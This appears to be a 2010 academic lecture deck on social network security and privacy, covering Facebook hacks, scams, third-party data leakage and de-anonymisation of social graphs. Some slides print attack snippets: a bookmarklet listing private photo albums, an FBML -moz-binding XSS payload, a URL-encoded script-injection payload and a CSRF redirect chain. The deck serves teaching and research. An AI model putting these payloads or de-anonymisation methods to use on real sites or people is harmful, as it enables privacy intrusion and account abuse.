Social networks and security

Check Point
Jun 22, 2010

Joseph Bonneau, Computer Laboratory
Building a secure social web is very difficult
Building a secure social web is very difficult
Building a secure social web is very difficult.
Hack #1a: Photo URL Forging

http://www.facebook.com/photo.php?id=34947682&id=210132

Photo Exploits: PHP parameter fiddling (Ng, 2008)
Hack #1b: Photo URL Forging

Photo Exploits: Content Delivery Network URL fiddling
Jessica Shang

**Info**

Jessica only shares some of her profile information with everyone. If you know Jessica, send her a message or add her as a friend.

**Basic Information**

Networks:
- Harvard Alum ’08
- Cambridge Grad Student ’09
- Princeton Grad Student

Sex: Female
Hack #1c: JS Photo Album listing

JavaScript addition:

```javascript
javascript:(function(){function y(){if(x.readyState==4)
    {q=x.responseText.substring(9);p=eval('('+q+')');document.getElementById('tab_canvas').innerHTML=p.payload.tab_content;}}x=window.XMLHttpRequest?new window.XMLHttpRequest:(window.ActiveXObject?new ActiveXObject("MSXML2.XMLHTTP"):null);x.onreadystatechange=y;x.open('POST','http://www.facebook.com/ajax/profile/tab.php',true);x.send('id ='+ProfileURIController._profileId+'&v=photos&a=1');})()
```
Hack #1c: JS Photo Album listing

Jessica Shang

Info

Jessica's Albums
2 Photo Albums

View Comments

random!
2 photos

hcap in taipei
50 photos

Information

Networks:
Harvard Alum '08
Cambridge Grad Student '09
Princeton Grad Student
The complexity of modern web applications
The complexity of modern web applications
The complexity of modern web applications
The complexity of modern web applications
# Web 2.0

<table>
<thead>
<tr>
<th>Function</th>
<th>Internet version</th>
<th>Facebook version</th>
</tr>
</thead>
<tbody>
<tr>
<td>Page Markup</td>
<td>HTML, JavaScript, SQL, SMTP</td>
<td>FBML</td>
</tr>
<tr>
<td>DB Queries</td>
<td></td>
<td>FBQL</td>
</tr>
<tr>
<td>Email</td>
<td></td>
<td>FB Mail</td>
</tr>
<tr>
<td>Forums</td>
<td></td>
<td>FB Groups</td>
</tr>
<tr>
<td>Instant Messages</td>
<td></td>
<td>FB Chat</td>
</tr>
<tr>
<td>News Streams</td>
<td></td>
<td>FB Stream</td>
</tr>
<tr>
<td>Authentication</td>
<td></td>
<td>FB Connect</td>
</tr>
<tr>
<td>Photo Sharing</td>
<td></td>
<td>FB Photos</td>
</tr>
<tr>
<td>Video Sharing</td>
<td></td>
<td>FB Video</td>
</tr>
<tr>
<td>Blogging</td>
<td></td>
<td>FB Notes</td>
</tr>
<tr>
<td>Microblogging</td>
<td></td>
<td>FB Status Updates</td>
</tr>
<tr>
<td>Micropayment</td>
<td></td>
<td>FB Points</td>
</tr>
<tr>
<td>Event Planning</td>
<td></td>
<td>FB Events</td>
</tr>
<tr>
<td>Classified Ads</td>
<td></td>
<td>FB Marketplace</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Hack #2: FBML Translation

Facebook Markup Language

```html
<fb:swf swfsrc="http://myserver/flash.swf"
imgsrc="http://myserver/image.jpg" imgstyle="-moz-binding:url(\'http://myserver/xssmoz.xml#xss\');" />
```

Translated into HTML:

```html
```

Result: arbitrary JavaScript execution (Felt, 2007)
Hack #3: Facebook Query Language

Facebook Query Language Exploits (Bonneau, Anderson, Danezis, 2009)
Hack #4: Facebook XSRF/Automatic Authentication

1. Web page request
2. HTML response with IMG tag to attack.gif
3. IMG request
   - http://quaji.com/attack.gif
4. IMG response
   - redirect to http://apps.facebook.com/hacker-app/step1.php
5. Application request
6. Facebook response
   - redirect to step2.php
7. App content request
8. App response
   - redirect to proper.gif
9. Application request
10. Facebook response
    - redirect to proper.gif
11. IMG request
    - http://quaji.com/proper.gif
12. IMG response
    - just a normal image

Credit: Ronan Zilberman
“Given sufficient funding, all web sites expand in functionality until users can add each other as friends”
Rapid growth of the social web

Given sufficient funding, all web sites expand in functionality until users can add each other as friends until users can share their activity with their friends.
Facebook appears to have 'won'
Hack #5: Data leakage to third parties

Allow Access?

Allowing What Eukaryotic organelle are you? access will let it pull your profile information, photos, your friends' info, and other content that it requires to work.

What Eukaryotic organelle are you?  
A quiz for the nerds.

Allow or cancel

By proceeding, you are allowing What Eukaryotic organelle are you? to access your information and you are agreeing to the Facebook Terms of Use in your use of What Eukaryotic organelle are you?
Hack #5: Data leakage to third parties

Facebook Application Architecture
Hack #5: Data leakage to third parties

http://sochr.com/i.php\&name=[Joseph Bonneau]&nx=[My User ID]&age=[My DOB]&gender=[My Gender]&pic=[My Photo URL]&fname0=[Friend #1 Name 1]&fname1=[Friend #2 Name]&fname2=[Friend #3 Name]&fname3=[Friend #4 Name]&fpic0=[Friend #1 Photo URL]&fpic0=[Friend #2 Photo URL]&fpic0=[Friend #3 Photo URL]&fpic0=[Friend #4 Photo URL]&fb_session_params=[All of the quiz application's session parameters]
Hack #5: Data leakage to third parties

Create Your Own Quiz >

Hey Peter
Hot singles are waiting for you!!

What the users sees...
Hack #5: Data leakage to third parties

Many ways to leak!

- Referer:
  
  "http://delb.opt.fimserve.com/adopt/...&uid=XXXX&"

- Request URI:
  

- Cookie ("hidden" third-party server)
Hack #6: Cross-site scripting

http://www.facebook.com/connect/prompt_permissions.php?
ext_perm=read_stream

Credit: theharmonyguy
Hack #6: Cross-site scripting

http://www.facebook.com/connect/prompt_permissions.php?
ext_perm=1

Credit: theharmonyguy
Hack #6: Cross-site scripting

http://www.facebook.com/connect/prompt_permissions.php?
ext_perm=%3Cscript
%3Ealert(document.getElementById(%22post_form_id
%22).value);%3C/script%3E

Credit: theharmonyguy
Hack #7: Clickjacking

Want 2 C Something Hot?

Click da’button, baby!
Hack #7: Clickjacking

Allow Access?

Allowing access will let it pull your profile information, photos, your friends’ info, and other content that it requires to work.

[ Allow ] or cancel

By proceeding, you are allowing Scramble to access your information and you are agreeing to the Facebook Terms of Use in your use of Scramble.
Hack #7: Clickjacking
Hack #8: User identification by history stealing

(Wondracek, Holz, Kirda, Kruegel 2010)
Hack #8: User identification by history stealing

(Wondracek, Holz, Kirda, Kruegel 2010)
Hack #9: User identification by Google docs

(Narayanan 2010)
Hack #10: Facebook chat bug
Building a secure social web is very difficult

- web application environment
- human fallibility & laziness
- inference control on huge graphs

facebook

twitter
Mum murdered over Facebook profile status

By Richard Smith 2/09/2009

'Man stabbed lover over site'

A mum-of-four was murdered by her partner after she changed her Facebook profile to "single", a jury heard yesterday.
SNS Threat Model

- Account compromise
- Computer compromise
- Monetary Fraud
- Undesired sharing
- Impersonation
All internet security scams have an SNS variant

- Phishing
- Spam
- 419 Scams & Fraud
- Identity Theft/Impersonation
- Malware
- Cross-site Scripting
- Click-Fraud
- Stalking, Harassment, Bullying, Blackmail
Stella tagged a photo of you in the album "Lent-licious!".

To see the photo, follow the link below:

Thanks,
The Facebook Team
Password Sharing

Connect The Run Around with Facebook to interact with your friends on this site and to share on Facebook through your Wall and friends' News Feeds. This site will also be able to automatically post recent activity back to Facebook.

Email: [Input field]
Password: [Input field]

By proceeding, you are allowing The Run Around to access your information and you are agreeing to the Facebook Terms of Use in your use of The Run Around. By using The Run Around, you also agree to the The Run Around Terms of Service.

Find People You Email
Searching your email account is the fastest and most effective way to find your friends on Facebook.

Your Email: jbonneau@gmail.com
Password: [Input field]

Valid webmail address

Find People You IM
Find out which of your AOL Instant Messenger or Windows Live Messenger buddies are on Facebook.

Import AIM Buddy List »
Import Windows Live Contacts »
<table>
<thead>
<tr>
<th>From:</th>
<th><em>Psychic - Alex Silver</em></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>[Image of Alex Silver]</td>
</tr>
<tr>
<td>Date:</td>
<td>Apr 29 11:35 PM</td>
</tr>
<tr>
<td>Subject:</td>
<td>Psychic Stimulus Package</td>
</tr>
</tbody>
</table>
| Body:   | **Psychic Stimulus Package**  
          **Alex Silver**  
          **VISIT MY SITE**  
          
          For a limited time I am offering an introductory offer to all new clients. Get a 15 minute live psychic reading online and YOU SET THE PRICE. Pay whatever you can afford or feel fair.  

This is a good way to save some money and also get to know me, see what I can do and to get answers to your pressing psychic questions.  

Use the PayPal BUY NOW button below and enter any amount that feels right to you. Once you have completed the payment process you will be redirected and your psychic reading will take place with me in the chat box on your left. |
Malware

Koobface worm, launched August 2008
Malware

Koobface worm, launched August 2008
“Lost in London” Scams

**Calvin:** hey
**Evan:** holy moly. what's up man?
**Calvin:** i need your help urgently
**Evan:** yes sir
**Calvin:** am stuck here in london
**Evan:** stuck?
**Calvin:** yes i came here for a vacation
**Calvin:** on my process coming back home i was robbed inside the hotel i loged in
**Evan:** ok so what do you need
**Calvin:** can you loan me $900 to get a return ticket back home and pay my hotel bills
**Evan:** how do you want me to loan it to you?
**Calvin:** you can have the money send via western union
Profile Hijacking

Facebook

Linkedin

Joseph Bonneau
PhD Candidate at University of Cambridge
Cambridge, United Kingdom | Computer & Network Security

Current
- PhD Candidate at University of Cambridge

Past
- Cryptographic Scientist at Cryptography Research, Inc.

Education
- University of Cambridge
- Stanford University

Connections
- 129 connections

Websites
- My Website
- My Blog

Public Profile
http://uk.linkedin.com/pub/joseph-bonneau/20/199/154

Summary
Specialties
Cryptography, computer security, protocol design
Scam differences in the SNS world

- Each has advantages and disadvantages
  - Centralisation
  - Social Connections
  - Personal Information
'Congrats to Uncle C' – how his wife's Facebook page exposed new MI6 head

- Page removed as Miliband plays down security lapse
- Children, pets and swimwear revealed

Sam Jones and Richard Norton-Taylor
guardian.co.uk, Sunday 5 July 2009 22.21 BST
Article history

John Sawers, who takes up the post of MI6 boss in November. Photograph: Emmanuel Dunand/AFP/Getty Images
Complexity of privacy controls
Complexity of privacy controls

**enable photo tagging:**
- People can tag my photos with their friends
- My friends can tag me in photos
- People can see a list of photos I am tagged in

Orkut Photo Tagging
Facebook Connect Applications

Facebook Connect is a way to use applications outside of Facebook. You can take your Facebook profile information all over the Internet, and send interesting information back to your Facebook account.

When your friend connects their Facebook account with an application outside of Facebook, they will be able to compare their Facebook Friend List with information from that website in order to invite more friends to connect.

☐ Don't allow friends to view my memberships on other websites through Facebook Connect.
Granularity problems with third party apps

- Applications given full access to profile data of installed users
- Even less revenue available for application developers...
It's the greatest place to meet...

Find people you know here
Already 33,082,535 people on Badoo!

33,082,535 people are on Badoo, 148,411 online now!
Don't read the TOS

Terms of Service, hi5:

We provide your Personal Information to third party service providers who work on behalf of or with hi5 under confidentiality agreements to provide some of the services and features of the hi5 community and to help us communicate with hi5 Members. These service providers may use your personal information to communicate with you about offers and services from hi5 and our marketing partners. However, these service providers do not have any independent right to share this information.

If you decide to use one of the additional services that are offered by our partners, we may forward Personal Information to these partners to enable them to provide the services that you requested. We also provide information to third-party advertising companies, as described in the next section.

Please be aware that the handling of your Personal Information by our partners or the third-party advertising companies is governed by their privacy policy, not ours.
Building a secure social web is very difficult

- Web application environment
- Human fallibility & laziness
- Inference control on huge graphs

- Facebook
- Twitter
“A powerful window into our souls”
“Traditional” Social Network Analysis

- Performed by sociologists, anthropologists, etc. since the 70's
- Use data carefully collected through interviews & observation
  - Typically < 100 nodes
  - Complete knowledge
  - Links have consistent meaning
- All of these assumptions fail badly for online social network data
Traditional Graph Theory

- Nice Proofs
- Tons of definitions
- Ignored topics:
  - Large graphs
  - Sampling
  - Uncertainty

Figure 98. Geographic Map: The Königsberg Bridges.
Many nice models

- Erdos-Renyi
- Watts-Strogatz
- Barabasi-Albert

Social Networks properties:

- Power-law
- Small-world
- High clustering coefficient
Real social graphs are complicated!
We do know many graph algorithms:

- Find important nodes
- Identify communities
- Train classifiers
- Identify anomalous connections

Major Privacy Implications!
Link structure yields a surprising amount

- Popularity
- Centrality
- Introvert vs. Extrovert
- Leadership potential
- Communities
Homophily causes neighbors to leak even more

- Sexual Orientation
- Gender
- Political Beliefs
- Location
- Breed?
Anonymising a graph is very difficult

A Social Graph with Private Links
Anonymising a graph is very difficult

Attacker adds $k$ nodes with random edges
Anonymising a graph is very difficult

Attacker links to targeted nodes
Anonymising a graph is very difficult

Graph is anonymised and edges are released
Anonymising a graph is very difficult

Attacker searches for unique k-subgroup
Anonymising a graph is very difficult

Link between targeted nodes is confirmed
Public graphs can de-anonymise private graphs
Public graphs can de-anonymise private graphs

Step 1: Identify Seed Nodes
Public graphs can de-anonymise private graphs

Step 2: Assign mappings based on mapped neighbors
Public graphs can de-anonymise private graphs

Step 3: Iterate
Public graphs can de-anonymise private graphs

Twitter/Flickr: 31% of common users identified with just 30 seeds!
Limited graph views are still useful

Average Degree: 3.5
Limited graph views are still useful

Sampled with $k=2$
Limited graph views are still useful

Degree known exactly for one node
Limited graph views are still useful

Naïve approach: Multiply in-degree by average degree / $k$
Limited graph views are still useful

Raise estimates which are less than $k$
Limited graph views are still useful

Nodes with high-degree neighbors underestimated
Limited graph views are still useful

Iteratively scale by current estimate / k in each step
Limited graph views are still useful

After 1 iteration
Limited graph views are still useful

Normalise to estimated total degree
Limited graph views are still useful

Convergence after n > 10 iterations
Large graphs are very fragile to partial compromise
On the horizon

More interconnection

More players analysing data

More data shared (location)

facebook

twitter
My Reading List

Academic papers:

- http://www.cl.cam.ac.uk/~jcb82/sns_bib/main.html

Blogs

- www.theharmonyguy.com
- www.allfacebook.com
- www.insidefacebook.com
- www.mashable.com

• Questions?